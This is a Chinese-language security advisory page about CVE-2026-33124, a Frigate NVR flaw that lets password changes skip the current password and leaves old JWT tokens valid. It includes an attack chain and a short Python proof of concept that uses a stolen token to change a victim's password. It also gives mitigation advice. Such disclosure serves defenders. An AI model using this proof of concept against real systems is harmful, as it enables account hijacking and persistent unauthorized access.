IPBUF安全漏洞报告
English
CVE-2026-33124 CVSS 8.8 高危

CVE-2026-33124 Frigate 密码修改逻辑缺陷

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33124
漏洞类型
认证绕过
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Frigate

相关标签

认证绕过逻辑缺陷FrigateJWT会话管理

漏洞概述

Frigate是一款用于IP摄像机的网络视频录像机(NVR)。在0.17.0-beta1之前的版本中,存在一个安全漏洞,允许任何已认证用户在无需验证当前密码的情况下,通过特定端点修改自身密码。此外,修改密码不会导致现有的JWT令牌失效,且系统缺乏密码强度验证机制。

技术细节

该漏洞的核心在于Frigate系统的`/users/{username}/password`接口存在严重的业务逻辑缺陷。首先,系统在处理密码更新请求时,未要求用户提供当前密码进行二次身份验证,这使得任何持有有效JWT令牌的用户均可随意修改密码。其次,安全机制存在重大疏漏:密码变更操作不会触发旧JWT令牌的失效机制。这意味着攻击者一旦通过XSS、网络嗅探或设备泄露等途径获取了受害者的令牌,即使受害者后续察觉并尝试重置密码,攻击者仍能利用原有的令牌维持持续的访问权限,从而实现账户的永久性劫持。此外,由于缺乏密码复杂度校验,攻击者更易于实施暴力破解攻击。这种组合缺陷极大地降低了攻击者进行持久化攻击的成本,严重威胁用户数据的机密性与完整性。

攻击链分析

STEP 1
1. 初始访问
攻击者通过XSS攻击、网络嗅探或日志泄露等方式获取受害者的有效JWT会话令牌。
STEP 2
2. 漏洞利用
攻击者利用获取的令牌向`/users/{username}/password`接口发送PUT请求,在未提供旧密码的情况下强制修改用户密码。
STEP 3
3. 权限维持
由于修改密码不会使旧的JWT令牌失效,攻击者在受害者修改密码后仍能使用原令牌访问系统,实现持久化控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL for the vulnerable endpoint target_url = "http://target-frigate-url/users/{username}/password" # The attacker needs a valid JWT token obtained through other means (e.g., XSS, Sniffing) stolen_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." headers = { "Authorization": f"Bearer {stolen_token}", "Content-Type": "application/json" } # Payload to change the password without providing the old one payload = { "password": "NewAttackerControlledPassword123!" } # Send the malicious request response = requests.put(target_url, headers=headers, json=payload) if response.status_code == 200: print("[+] Password changed successfully. Attacker can maintain access.") else: print(f"[-] Exploit failed: {response.text}")

影响范围

Frigate < 0.17.0-beta1

防御指南

临时缓解措施
建议立即将系统升级到修复了该漏洞的最新版本。如果无法立即升级,应严格监控网络流量以防止JWT令牌泄露,并强制用户启用强密码策略以降低被暴力破解的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表